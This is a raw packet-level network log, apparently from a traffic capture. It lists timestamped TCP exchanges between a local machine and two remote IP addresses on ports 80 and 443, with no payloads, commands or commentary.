Nov 18, 2024 21:04:09.031577110 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031610966 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031626940 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031626940 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031646013 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031662941 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031682014 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031692028 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031717062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031744003 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031749964 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031769037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031785011 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031817913 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031825066 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031825066 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031852007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031857014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031884909 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031912088 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031919003 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031939030 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031951904 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.031971931 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.031990051 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032002926 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032023907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032057047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032064915 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032064915 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032089949 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032124043 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032124996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032124996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032156944 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032191038 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032198906 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032198906 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032222986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032259941 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032262087 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032283068 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032294035 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032320023 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032329082 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032361984 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032366037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032380104 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032397032 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032413006 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032428980 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032457113 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032465935 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032486916 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032500029 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032532930 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032541990 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032541990 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032569885 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032583952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032603979 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032620907 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032635927 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032654047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032670975 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032704115 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032706976 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032738924 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032752037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032752037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032772064 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032799006 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032807112 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032821894 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032840967 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032866955 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032874107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032910109 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.032922029 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032922029 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.032980919 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060118914 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060178995 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060228109 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060234070 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060259104 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060269117 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060281038 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060332060 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060340881 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060367107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060389042 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060401917 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060451031 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060451031 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060453892 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060488939 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060523033 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060528994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060528994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060573101 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060607910 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060621977 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060621977 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060641050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060673952 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060693979 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060703993 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060724974 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.060748100 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.060771942 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.061404943 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.061882019 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.061959982 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.062309980 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.062324047 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.070430040 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.070511103 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.070571899 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.070801973 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.070801973 CET	49791	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.070813894 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.070821047 CET	443	49791	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.073653936 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.073757887 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.073856115 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.074021101 CET	49796	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.074057102 CET	443	49796	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.079915047 CET	443	49794	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.080229998 CET	49794	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.080246925 CET	443	49794	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.080648899 CET	49794	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.080658913 CET	443	49794	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.091749907 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.092112064 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.092180967 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.092612982 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:09.092627048 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:09.092976093 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093067884 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093087912 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093138933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093141079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093208075 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093218088 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093244076 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093261957 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093285084 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093296051 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093348980 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093384027 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093394995 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093394995 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093416929 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093446970 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093467951 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093470097 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093501091 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093509912 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093554974 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093573093 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093585014 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093607903 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093624115 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093647957 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093674898 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093678951 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093707085 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093735933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093735933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093743086 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093775988 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093811035 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093826056 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093843937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093859911 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093879938 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093899965 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093914986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093934059 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093950987 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.093960047 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.093987942 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094016075 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094022989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094039917 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094055891 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094084024 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094096899 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094109058 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094141006 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094170094 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094187975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094197035 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094229937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094254971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094264030 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094295025 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094296932 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094331026 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094345093 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094345093 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094364882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094397068 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094398975 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094417095 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094453096 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094460011 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094511986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094516993 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094563007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094575882 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094597101 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094630003 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094639063 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094639063 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094666004 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094688892 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094701052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094748020 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094748020 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094758034 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094790936 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094808102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094842911 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094860077 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094876051 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094894886 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094928026 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094930887 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.094961882 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.094995975 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095001936 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095001936 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095029116 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095041037 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095062971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095088005 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095096111 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095110893 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095134020 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095163107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095172882 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095172882 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095231056 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095257044 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095263958 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095280886 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095299959 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095326900 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095346928 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095372915 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095406055 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095441103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095441103 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095458984 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095493078 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095515013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095526934 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095549107 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095560074 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095587969 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095609903 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095643997 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095649004 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095649004 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095679045 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095705032 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095711946 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095729113 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095747948 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095779896 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095796108 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095796108 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095813990 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095848083 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095854044 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095854044 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095882893 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.095905066 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.095933914 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096143007 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096193075 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096196890 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096247911 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096250057 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096297026 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096337080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096337080 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096348047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096384048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096415997 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096416950 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096416950 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096467972 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096468925 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096502066 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096537113 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096544027 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096544027 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096570015 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096590996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096604109 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096637011 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096653938 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096653938 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096672058 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096710920 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096719027 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096719027 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096769094 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096920013 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096956015 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096985102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.096990108 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.096999884 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097024918 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097048044 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097059011 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097079992 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097150087 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097196102 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097234011 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097271919 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097271919 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097285986 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097318888 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097337961 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097371101 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097371101 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097407103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097434998 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097440958 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097448111 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097475052 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097492933 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097508907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097542048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:09.097549915 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:09.097574949 CET	49786	80	192.168.2.4	185.215.113.16
